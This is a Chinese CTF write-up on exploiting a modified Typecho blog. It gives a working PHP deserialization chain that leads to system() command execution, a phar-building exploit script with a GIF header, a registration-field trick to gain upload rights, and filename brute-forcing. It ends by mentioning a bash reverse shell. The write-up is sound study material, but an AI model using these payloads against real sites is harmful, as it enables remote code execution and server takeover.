Techworld 2019 线下web1题解

  ctf

0x00前言

7月底参加的比赛,现在来复现一下,总共就两道题,web2为一个so的逆向,所以先不做研究。

 

0x01 web1

该题目为typecho最新版魔改,源码点击这里下载,源码下载下来首先用diff命令看一下哪里改动了

Only in D:\Chris\web1\: .idea
Only in D:\Chris\web1\: .virink
Only in D:\Chris\web1\: config.inc.php
diff -r "D:\\Chris\\typecho/var/IXR/Server.php" "D:\\Chris\\web1/var/IXR/Server.php"
217a218,220
>             if(file_exists($GLOBALS['HTTP_RAW_POST_DATA'])) {
>                 $GLOBALS['HTTP_RAW_POST_DATA'] = 'HTTP_RAW_POST_DATA';
>             }
diff -r "D:\\Chris\\typecho/var/Typecho/Cookie.php" "D:\\Chris\\web1/var/Typecho/Cookie.php"
1a2
> session_start();
89a91,103
>     /**
>      * 设置指定的COOKIE值
>      *
>      * @access public
>      * @param string $key 指定的参数
>      * @param mixed $value 设置的值
>      * @param integer $expire 过期时间,默认为0,表示随会话时间结束
>      * @return void
>      */
>     public static function getlogin()
>     {
>         $_SESSION["__typecho_group"] = 'guest';
>     }
diff -r "D:\\Chris\\typecho/var/Typecho/Db/Adapter.php" "D:\\Chris\\web1/var/Typecho/Db/Adapter.php"
112a113
>     
\ No newline at end of file
diff -r "D:\\Chris\\typecho/var/Typecho/Request.php" "D:\\Chris\\web1/var/Typecho/Request.php"
567a568,580
>     public function __destruct()
>     {
>         $content = $this->source;
>         return $content;
>     }
>     /**
>      * 获取当前pathinfo
>      *
>      * @access public
>      * @param string $inputEncoding 输入编码
>      * @param string $outputEncoding 输出编码
>      * @return string
>      */
diff -r "D:\\Chris\\typecho/var/Widget/Register.php" "D:\\Chris\\web1/var/Widget/Register.php"
62c62,72
<         $dataStruct = array(
---
>         if(isset($this->request->url)){
>             $dataStruct = array(
>                 'name'      =>  $this->request->name,
>                 'mail'      =>  $this->request->mail,
>                 'url'       => $this->request->url,
>                 'screenName'=>  $this->request->name,
>                 'password'  =>  $hasher->HashPassword($generatedPassword),
>                 'created'   =>  $this->options->time,
>                 'group'     =>  'subscriber');
>         }else{
>             $dataStruct = array(
68,69c78,80
<             'group'     =>  'subscriber'
<         );
---
>             'group'     =>  'subscriber');      
>         }
> 
diff -r "D:\\Chris\\typecho/var/Widget/Upload.php" "D:\\Chris\\web1/var/Widget/Upload.php"
114c114
<         $fileName = sprintf('%u', crc32(uniqid())) . '.' . $ext;
---
>         $fileName = sprintf('%u', crc32(time())) . '.' . $ext;
diff -r "D:\\Chris\\typecho/var/Widget/User.php" "D:\\Chris\\web1/var/Widget/User.php"
126c126,127
< 
---
>         
>         if( $user['url'] == 'guest') Typecho_Cookie::getlogin();
diff -r "D:\\Chris\\typecho/var/Widget/Users/Profile.php" "D:\\Chris\\web1/var/Widget/Users/Profile.php"
31a32
>         if(isset($_SESSION['__typecho_group'])) Widget_Upload::uploadHandle($_FILES['file']);

其中web1/var/Typecho/Request.php这个位置比较吸引人 ,使用Beyond Compare进行一下对比

可以看到__destruct基本使用场景为序列化,因此在Typecho_Request这个类中寻找可疑的命令执行函数。在_applyFilter这个方法中找到了call_user_func这个万金油函数

其传入的参数为$_filter$value,因此查找这两个变量的来源,$_filter为数组,因此直接传入array('system',)即可

再跟进_applyFilter函数,在get方法中找到该函数

在继续跟get函数,则最后结束的点是

public function __get($key)
{
    return $this->get($key);
}

官方对__get的解释是,当试图获取一个私有变量的时候,类会自动调用__get方法,然后我们再来回看一下get函数,该函数会进入一个switch的选择,首先判断_params参数是否存在,如果不存在则判断$_httpParams参数是否存在,如不存在,最后则使用default参数,最后将得到的$value参数调给_applyFilter方法,而$value则为call_user_func的传入函数$filter的指令。因此$value即为我们需要输入的指令。首先跟进一下变量$_param,发现其也为一个可控制的数组

因此一个PHP构造链大致意思就显现出来了。我们需要将_params参数中的$key指向一个不可达到的变量,然后将该变量里面的值改成我们需要的命令传入,最后变成$value参数传入$_appleFilter中,进而传入call_user_func结合system执行命令执行。结合一下题目所修改的地方,发现其__destruct中的source变量为一个私有变量,因此直接的exploit的脚本便出来了

class Typecho_Request
{
	private $_params = array("source" => "whoami",);
	private $_filter = array("system",);
     private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
    }
}

构造出来的序列化链为

"O:15:"Typecho_Request":2:{s:24:"\000Typecho_Request\000_params";a:1:{s:6:"source";s:6:"whoami";}s:24:"\000Typecho_Request\000_filter";a:1:{i:0;s:6:"system";}}"

下一步便是找出paylaod放置的地方,google一下typecho序列化,发现其漏洞是基于install.php的漏洞,但是题目中的install文件加和文件已近全部删除,只能另寻他路。通过全局搜索unserialize()函数,在一步一步跟进了方法之后无果,便另寻他路。留意到phar协议,其具体方法为打包文件,同时也可以用来反序列化,其执行只需要函数file_existsfile_get_contents,具体的在之前的博客上已近做出总结。因此全局搜索file_exists和file_get_contents,终于在一个位置上找到了一个可利用的点,位于/var/lXR/Server.php里面

其位于IXR_Server类中,首先google搜索一下IXR_Server,是用于远程过程调用的协议,它使用XML进行交换,并且他主要使用HTTP进行实际调用。一般作用为获取Wordpress博客的文章,同时也搜到关于IXR_Server的SSRF漏洞,其分析文章基于server函数引发,其url接口为http://localhost/index.php/action/xmlrpc,因此在file_get_contentsGLOBALS代码下断点

使用Xdebug进行调试,输入链接回车,成功卡在断点处

因此最终的exploit脚本为

<?php
class Typecho_Request
{
	private $_params = array("source" => "whoami",);
	private $_filter = array("system",);
     private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
    }
}

$m = new Typecho_Request();
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($m); 
$phar->addFromString("pharss.txt", "exp"); 
$phar->stopBuffering();


?>

因此现在需要找到文件上传的路径了,因为平台开启了注册功能,但是注册后的权限是只能读不能写,即使是评论,也没有文件上传的功能,因此继续审计代码。通过diff文件,在最底下的if(isset($_SESSION['__typecho_group'])) Widget_Upload::uploadHandle($_FILES['file']); 这段代码吸引了我,跟入一下在\var\Widget\Users\Profile.php文件中跟进uploadHandle方法,在\var\Widget\Uplaod.php中发现uploadHandle方法,通读一下代码,放出一下核心代码

public static function uploadHandle($file)
    {
        if (empty($file['name'])) {
            return false;
        }
        
            $result = Typecho_Plugin::factory('Widget_Upload')->trigger($hasUploaded)->uploadHandle($file);
        if ($hasUploaded) {
            return $result;
        }
...

        //创建上传目录
        if (!is_dir($path)) {
            if (!self::makeUploadDir($path)) {
                return false;
            }
        }

        //获取文件名
        $fileName = sprintf('%u', crc32(time())) . '.' . $ext;
        $path = $path . '/' . $fileName;

        if (isset($file['tmp_name'])) {

            //移动上传文件
            if (!@move_uploaded_file($file['tmp_name'], $path)) {
                return false;
            }
        } 
......
    }

我们首先看到上传的文件先找打其拓展名是否在黑名单内,然后通过对时间戳进行crc32编码,拼接返回的拓展名,然后拼接上相对路径,最后在同时创建一个临时文件备份。那么,要使$_SESSION里面含有__typecho_group的值,那么全局搜索一下,在\var\Typecho\Cookie.php中找到如下方法

此方法便是在diff文件中看见的倒数第二行代码 if( $user['url'] == 'guest') Typecho_Cookie::getlogin(); 需要我们将url设置为guest,在各种断点调试之后,发现改点位于个人主页里面的个人主页地址,然后进入个人界面的页面,但是直接改guest则会显示url无效

在尝试各种方式无果之后,发现在注册表单中增加url的参数即可以成功将url中插入任意字符串

可以看到成功将url变量设置为guest

因此我们可以上传文件啦!通过html构造一个上传表单

<form action="http://127.0.0.1/typecho/admin/profile.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<br/>
<input type="submit" value="上传文件">
</form>



上传构造的phar序列化文件,将后缀改为gif,进行上传

成功进入判断语句

在对文件进行重命名之后加上绝对路径

最后进行备份

最终成功上传!

 

而对于文件名字的判断,我们只需要在上传之前对time时间戳进行保存,在上传结束后提取time时间戳,在经过加密之后遍历出中间的文件名即可

再来判断文件路径,通过断点找到该exp的正确路径usr/uploads/2019/08/2833652365.gif

因此,最终的payload为

phar://usr/uploads/2019/08/2833652365.gif

成功执行命令,再外连一下

可以进行外连

因此可以使用bash命令进行弹命令